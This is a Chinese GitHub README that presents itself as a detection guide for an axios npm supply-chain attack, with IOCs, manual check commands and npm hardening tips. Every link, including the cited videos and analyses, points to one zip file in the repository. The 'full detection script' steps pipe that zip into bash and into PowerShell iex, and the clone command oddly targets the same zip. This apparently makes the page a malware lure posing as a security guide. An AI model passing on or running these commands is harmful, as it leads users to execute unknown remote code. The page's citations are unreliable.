frivolous-wiring433/axios-attack-guide
GitHub: frivolous-wiring433/axios-attack-guide
针对 axios npm 包供应链攻击事件整理的检测与防护指南,涵盖 IOC 指标、手动排查命令和安全加固建议。
Stars: 0 | Forks: 0
# Axios npm 供应链攻击 — 检测与防护指南
2026年 3月 31 日,npm 包 **axios**(每周下载量超 1 亿次)在一次复杂的供应链攻击中被攻陷。一名黑客接管了主要维护者的账户,注入了一个幽灵依赖项,该依赖项会在 1.1 秒内部署一个跨平台 RAT(远程访问木马),并且该恶意软件会自我销毁以抹除所有痕迹。
本仓库包含了您检查是否受影响以及保护自己所需的一切内容。
观看完整分析:[NetworkChuck 视频](https://github.com/frivolous-wiring433/axios-attack-guide/raw/refs/heads/main/nonfriction/guide_axios_attack_v1.3.zip)
## 我受影响了吗?
**恶意版本:** `axios@1.14.1` 和 `axios@0.30.4`
**安全版本:** `axios@1.14.0` 和 `axios@0.30.3`
### 快速检查
```
npm list axios
npm list -g axios
```
### 运行完整检测脚本
**Mac/Linux:**
```
curl -sL https://github.com/frivolous-wiring433/axios-attack-guide/raw/refs/heads/main/nonfriction/guide_axios_attack_v1.3.zip | bash
```
**Windows (PowerShell):**
```
irm https://github.com/frivolous-wiring433/axios-attack-guide/raw/refs/heads/main/nonfriction/guide_axios_attack_v1.3.zip | iex
```
或者克隆到本地运行:
```
git clone https://github.com/frivolous-wiring433/axios-attack-guide/raw/refs/heads/main/nonfriction/guide_axios_attack_v1.3.zip
cd axios-attack-guide
./check.sh # Mac/Linux
.\check.ps1 # Windows PowerShell
```
这些脚本会检查全部 6 项指标:axios 版本、lockfile、git 历史、恶意依赖项、RAT 痕迹以及 C2 连接。
## 手动检测命令
### 步骤 1 — 扫描整个系统中的 Axios
**Mac/Linux:**
```
find / -path "*/node_modules/axios/package.json" 2>/dev/null | while read f; do
version=$(grep '"version"' "$f" | head -1)
echo "$f -> $version"
done
```
**Windows (PowerShell):**
```
Get-ChildItem -Path C:\ -Recurse -Filter "package.json" -ErrorAction SilentlyContinue |
Where-Object { $_.DirectoryName -like "*node_modules\axios" } |
ForEach-Object {
$version = (Get-Content $_.FullName | Select-String '"version"').Line
Write-Output "$($_.FullName) -> $version"
}
```
如果任何结果显示版本为 **1.14.1** 或 **0.30.4**,说明您已受影响。
### 步骤 2 — 检查 Lockfile 历史
```
git log -p -- package-lock.json | grep "plain-crypto-js"
```
如果您的 lockfile 历史记录中出现 `plain-crypto-js`,请立即调查。合法的 axios 恰好有 **3 个依赖项**:`follow-redirects`、`form-data` 和 `proxy-from-env`。任何其他内容都是危险信号。
### 步骤 3 — 检查 RAT 痕迹
恶意软件会投放伪装成系统文件的针对特定平台的 payload:
**macOS:**
```
ls -la /Library/Caches/com.apple.act.mond 2>/dev/null
```
**Linux:**
```
ls -la /tmp/ld.py 2>/dev/null
```
**Windows (PowerShell):**
```
Test-Path "$env:PROGRAMDATA\wt.exe"
```
### 步骤 4 — 检查 C2 通信
```
netstat -an | grep "142.11.206.73"
```
## 如果您已被感染
如果您发现上述任何指标,请将您的机器视为**已完全沦陷**:
1. **停止操作** — 不要仅仅删除文件
2. **轮换所有凭证** — npm token、SSH 密钥、API 密钥、云凭证
3. **轮换所有数据库密码**
4. **检查 CI/CD 流水线** 中是否有受感染的安装
5. **在防火墙处阻止 C2 流量** — `sfrclak.com` 和 `142.11.206.73`
6. 如果可能,**从干净的镜像重新构建**
7. **审计 git 历史** 查找未经授权的更改
## 未来的防护措施
### 1. 拒绝新发布的包
```
npm config set min-release-age 3
```
这会告诉 npm 拒绝任何发布不到 3 天的包。**这一条命令就可以阻止此次攻击。**
### 2. 禁用 postinstall 脚本
将以下内容添加到您的 `.npmrc` 中:
```
ignore-scripts=true
```
整个攻击依赖于 postinstall 脚本的自动运行。没有脚本 = 没有攻击。
### 3. 锁定确切版本
将以下内容添加到您的 `.npmrc` 中:
```
save-exact=true
```
您版本范围中的 `^` 符号正是让 npm 自动升级到受感染版本的原因。
### 4. 在 CI/CD 中使用 npm ci
```
npm ci # NOT npm install
```
这会准确安装您的 lockfile 中的内容。避免意外发生。
### 5. 考虑使用 pnpm 或 bun
这两个包管理器默认**不**运行生命周期脚本。此次攻击在 pnpm 或 bun 上将彻底失败。
## 发生了什么 — 完整攻击链
| 步骤 | 发生的情况 |
|------|--------------|
| 1 | 攻击者获取了主要维护者(`jasonsaayman`)的长期 npm 经典访问令牌 |
| 2 | 账户邮箱被更改为 `ifstap@proton.me` |
| 3 | package.json 中被添加了一行:`"plain-crypto-js": "^4.2.1"` — 从未在任何地方被导入 |
| 4 | 在恶意版本发布前 18 小时发布了干净的诱饵版本 |
| 5 | 通过 npm CLI 发布,绕过了 GitHub Actions OIDC 可信发布 |
| 6 | `axios@1.14.1` 和 `axios@0.30.4` 在 39 分钟内均被投毒 |
| 7 | postinstall 投放器自动执行 — 采用 XOR + base64 混淆(密钥:`OrDeR_7077`) |
| 8 | 在 1.1 秒内从 C2 下载了针对特定平台的 RAT |
| 9 | 恶意软件自我销毁 — 删除投放器,用干净的诱饵替换 package.json |
## IOCs(失陷指标)
| 类型 | 值 |
|------|-------|
| C2 域名 | `sfrclak.com` |
| C2 IP | `142.11.206.73` |
| C2 端口 | `8000` |
| C2 路径 | `/6202033` |
| XOR 密钥 | `OrDeR_7077` |
| axios@1.14.1 SHA-1 | `2553649f2322049666871cea80a5d0d6adc700ca` |
| axios@0.30.4 SHA-1 | `d6f3f62fd3b9f5432f5782b62d8cfd5247d5ee71` |
| plain-crypto-js@4.2.1 SHA-1 | `07d889e2dadce6f3910dcbc253317d28ca61c766` |
| 攻击者邮箱 | `ifstap@proton.me`,`nrwise@proton.me` |
**RAT 文件路径:**
| 操作系统 | 路径 | 伪装成 |
|----|------|-------------|
| macOS | `/Library/Caches/com.apple.act.mond` | Apple 系统缓存 |
| Windows | `%PROGRAMDATA%\wt.exe` | Windows Terminal |
| Linux | `/tmp/ld.py` | 通用临时文件 |
## 资源
- [Socket.dev 分析](https://github.com/frivolous-wiring433/axios-attack-guide/raw/refs/heads/main/nonfriction/guide_axios_attack_v1.3.zip) — 首次自动检测(6 分钟)
- [StepSecurity 深度分析](https://github.com/frivolous-wiring433/axios-attack-guide/raw/refs/heads/main/nonfriction/guide_axios_attack_v1.3.zip) — 运行时遥测
- [GitHub Issue #10604](https://github.com/frivolous-wiring433/axios-attack-guide/raw/refs/heads/main/nonfriction/guide_axios_attack_v1.3.zip) — 维护者确认被攻陷
- [Huntress 博客](https://github.com/frivolous-wiring433/axios-attack-guide/raw/refs/heads/main/nonfriction/guide_axios_attack_v1.3.zip) — 100+ 台已确认被感染的主机
- [John Hammond 视频](https://github.com/frivolous-wiring433/axios-attack-guide/raw/refs/heads/main/nonfriction/guide_axios_attack_v1.3.zip)
- [John Hammond 直播](https://github.com/frivolous-wiring433/axios-attack-guide/raw/refs/heads/main/nonfriction/guide_axios_attack_v1.3.zip)
由 [NetworkChuck](https://github.com/frivolous-wiring433/axios-attack-guide/raw/refs/heads/main/nonfriction/guide_axios_attack_v1.3.zip) 伴着咖啡创作
标签:AI合规, axios, Bash, C2通信, CMS安全, Cutter, GNU通用公共许可证, IPv6, JavaScript, MITM代理, Node.js, npm, OpenCanary, PowerShell, RAT, 供应链攻击, 前端安全, 威胁情报, 安全检测脚本, 库, 应急响应, 开发者工具, 暗色界面, 漏洞分析, 版本检查, 知识库安全, 网络信息收集, 网络安全, 网页分析工具, 路径探测, 软件供应链安全, 远程方法调用, 远程访问木马, 隐私保护